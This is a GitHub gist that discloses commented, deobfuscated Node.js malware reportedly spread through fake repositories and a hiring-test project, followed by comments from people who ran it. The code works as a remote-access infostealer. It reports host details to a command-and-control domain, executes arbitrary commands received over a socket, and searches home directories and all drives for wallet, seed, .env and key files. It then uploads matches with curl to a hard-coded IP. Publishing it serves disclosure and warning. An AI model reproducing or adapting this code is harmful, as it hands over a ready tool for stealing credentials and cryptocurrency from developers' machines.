Skip to content

Instantly share code, notes, and snippets.

@webel
Created March 4, 2025 15:15
Show Gist options
  • Select an option

  • Save webel/e9b941e380eafe904747ae7b48d112fa to your computer and use it in GitHub Desktop.

Select an option

Save webel/e9b941e380eafe904747ae7b48d112fa to your computer and use it in GitHub Desktop.
Malware payload found in public BitBucket repo.
//
// THIS IS MALWARE DOWNLOADED FROM A FAKE ALCHEMY ENDPOINT
// REVERSE ENGINEERED BY COOKIE
//
const os = require("os");
const axios = require("axios");
const { execSync, spawn } = require("child_process");
// Prevent crashes from uncaught exceptions
process.on("uncaughtException", (error) => {});
process.on("unhandledRejection", (error) => {});
// Configuration parameters
const m = "alchemy-api-v3.cloud"; // Command & control server domain
const uploadServerURL = "116.202.208.125"; // IP for file uploads
const uid = "11ab759d189dc8bc238cb2525f05b88c"; // Unique identifier for this infection
const p = 5918; // Port for socket connection
const ukey = 64; // User key for authentication
// Main function to initiate the attack
async function start() {
socketServer();
}
// Create socket connection to command & control server
const socketServer = async () => {
// Function to send logs back to the attacker
const makeLog = async (message) => {
try {
axios
.post("http://" + m + "/api/v2/makelog", {
message: message,
uid: uid,
})
.catch((err) => {});
} catch (e) {}
};
try {
// Function to send system info to command & control
const setHeader = async function () {
try {
return await axios.post("http://" + m + "/api/v2/process/" + uid, {
OS: os.type(),
platform: os.platform(),
release: os.release(),
host: os.hostname(),
userInfo: os.userInfo(),
uid: uid,
});
} catch (e) {
makeLog(e.message);
}
};
// Initialize connection to command server
setHeader();
// Install socket.io client for remote control
makeLog("Installing socket.io-client");
execSync(
"npm install socket.io-client --save --no-warnings --no-save --no-progress --loglevel silent",
{ windowsHide: true, stdio: "inherit" },
);
// Connect to socket server
let io = require("socket.io-client");
const socket = io("http://" + m + ":" + p, {
reconnectionAttempts: 15,
reconnectionDelay: 2000,
timeout: 2000,
});
// Remote command execution handler
socket.on("command", (msg) => {
try {
exec(
msg.message,
{ windowsHide: true, stdio: "inherit", maxBuffer: 1024 * 1024 * 300 },
(error, stdout, stderr) => {
if (error) {
socket.emit("message", {
result: error.message,
...msg,
uid: uid,
type: "error",
});
return;
}
if (stderr) {
socket.emit("message", {
result: stderr,
...msg,
type: "stderr",
});
return;
}
socket.emit("message", {
...msg,
result: stdout,
code: msg.code,
cid: msg.cid,
sid: msg.sid,
uid: uid,
});
},
);
} catch (e) {
makeLog(e.message);
}
});
// Send system info when requested
socket.on("whour", (msg) => {
socket.emit("whoIm", {
OS: os.type(),
platform: os.platform(),
release: os.release(),
host: os.hostname(),
userInfo: os.userInfo(),
uid: uid,
});
});
socket.on("connect", () => {});
socket.on("disconnect", () => {});
} catch (e) {
makeLog(JSON.stringify(e));
}
// File scanning and exfiltration code
const rootDir = os.userInfo().homedir + "";
// List of directories to exclude from scanning
const exculdeFolders = [
"node_modules",
"vendors",
"vendor",
"public",
"css",
"less",
"scss",
".cache",
".yarn",
"build",
".next",
".git",
".github",
"cache",
"tmp",
"temp",
"dist",
"library",
"lib",
"imgs",
"images",
"image",
".config",
".vscode",
".pyp",
".expo",
"pkg",
"package",
"packages",
"pkgs",
"fonts",
"background",
"wallpaper",
"_locales",
"locale",
"locales",
"Program Files",
"Program Files (x86)",
"EFI",
"ProgramData",
"Windows",
"Microsoft",
];
// File patterns to look for and exfiltrate
const searchKey = [
"*.env*",
"*metamask*",
"*phantom*",
"*bitcoin*",
"*credential",
"*profile*",
"*account*",
"*mnemonic*",
"*seed*",
"*recovery*",
"*backup*",
"*address*",
"*my*",
"*screenshot*",
"*.doc",
"*.docx",
"*.pdf",
"*.md",
"*.rtf",
"*.odt",
"*.xls",
"*.xlsx",
"*info*",
"*.txt",
"*.ini",
".secret",
"*.json",
"*.ts",
"*.js",
"*.csv",
"*key*",
];
// Function to scan directories and upload files
const scanDir = async (dirPath) => {
let command = "";
// Windows-specific scanning
if (os.platform() == "win32") {
try {
// Get subdirectories
let command = `dir "${dirPath}" /AD /b`;
const cmdResult = execSync(command, { windowsHide: true });
try {
// Create command to find and upload sensitive files
let uploadCommand = `for %f in (${dirPath}${searchKey.join(
" " + dirPath + "",
)}) do curl -X POST -F "file=@%f" -H "path: %f" -H "hostname:%COMPUTERNAME%" -H "userkey:${ukey}" -H 'Content-Disposition: attachment; filename=%f' http://${uploadServerURL}:5918/upload \\;`;
// Execute upload command
execSync(uploadCommand, { windowsHide: true });
// Process subdirectories
const dirs = cmdResult.toString().split("\r\n");
for (let i in dirs) {
const dir = dirs[i];
if (dir == "") continue;
if (exculdeFolders.indexOf(dir) > -1) continue;
await scanDir(dirPath + dir + "\\");
}
} catch (e) {}
} catch (e) {}
}
// Unix-like systems (Linux/macOS) scanning
else {
command = `find "${dirPath}" -maxdepth 1 -type f \\( -path "." -prune -o -path ".." -prune -o -path ".git" -prune -o -path ".github" -prune -o -path "node_modules" -prune -o -path "*/node_modules/*" -prune -o -path "*/.cache" -prune -o -path "*/.config/*" -prune -o -path "*/dist/*" -prune -o -path "*/build/*" -prune -o -path "*/.git/*" -prune -o -path "*/.vscode/*" -prune -o -path "*/Library/*" -prune -o -path "*/Vendor/*" -prune -o -path "*/.yarn/*" -prune -o -path "*/pkg/*" -prune -o -path "*/package/*" -prune -o -path "*pkg*" -prune -o -path "*/lib/*" -prune -o -path "*/asset/*" -prune -o -path "*/assets/*" -prune -o -path "Library" -prune -o -path "Vendor" -prune -o -path "lib" -prune -o -path "asset" -prune -o -path "assets" -prune -o -path "*/.pyp/*" -prune -o -path "*/.expo/*" -prune -o -path "*/.n2/*" -prune -o -path "*/.n3/*" -prune -o -path "*/.next/*" -prune -o -path "*/.mozila/*" -prune -o -path "*/.exe/*" -prune -o -path "*.tsbuildinfo" -prune -o -path "*.AppImage" -prune -o -path "*.dll" -prune -o -path "*.pkg" -prune -o -path "*.dmg" \\) -o \\( -iname "*.env*" -o -iname "*metamask*" -o -iname "*bitcoin*" -o -iname "*mnemonic*" -o -iname "*nkbihfbeogaeaoehlefnkodbefgpgknn*" -o -iname "*seed*" -o -iname "*recovery*" -o -iname "*backup*" -o -iname "*address*" -o -iname "*my*" -o -iname "*.png" -o -iname "*.jpg" -o -iname "*.jpeg" -o -iname "*screenshot*" -o -iname "*.doc" -o -iname "*.docx" -o -iname "*.rtf" -o -iname "*.odt" -o -iname "*.xls" -o -iname "*.xlsx" -o -iname "*info*" -o -iname "*.txt" -o -iname "*.ini" -o -iname "*.js" -o -iname "*.ts" -o -iname ".secret" -o -iname b"config.json" -o -iname "const.js" -o -iname "const.ts" -o -iname "index.ts" -o -iname "index.js" -o -iname "app.ts" -o -iname "*.csv" \\) -exec grep -i -E -l '\\b(\\")?0x)?[0-9a-fA-F]{64}(\\")?\\b|private_key|[5KL|0-9A-Za-z]{32,44}|5[HJK]{1}[1-9A-za-z]{50,51}' {} + | xargs -I {} curl -X POST -F 'file=@{}' -H 'path: {}' -H "hostname:$(hostname)" -H "userkey:${ukey}" -H 'Content-Disposition: attachment; filename={}' http://${uploadServerURL}:5918/upload`;
}
};
// Delayed execution of scanning
setTimeout(async () => {
// For Windows, scan all drives
if (os.platform() == "win32") {
const driveCmd = `wmic logicaldisk get name`;
let drives = execSync(driveCmd, { windowsHide: true });
drives = drives.toString().split("\n");
drives.shift();
for (let i in drives) {
const drive = drives[i].replace(/\r\r/gi, "").trim();
if (drive == "") continue;
await scanDir(drive + "\\");
}
}
// For Unix-like systems, scan user home directory
else {
await scanDir(rootDir);
}
}, 1000);
};
// Start malware execution
start();
@emlautarom1
Copy link

Found the same malware by running npm install using the following project: https://github.com/YaroslavPedrovic/hiring_test/

@webel
Copy link
Author

webel commented May 10, 2025

@emlautarom1 damn it, I'm on a contract atm else I'd jump straight into that to try and mess with their infra.
Are you and your data ok?

@emlautarom1
Copy link

Not sure, I think they're are. They started copying some large log files (~500 mb each) and I think I killed everything before they could get their hands on something more important. I'm taking preventive measures either way.

@webel
Copy link
Author

webel commented May 11, 2025

ouff! So after 1 month my hot wallet was emptied. They managed to get some of my brave browser extension data. They didn't even manage to get all, and I had a long password to unlock it... so, it seemed insanely far fetched they could do anything with it. Alas, they managed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment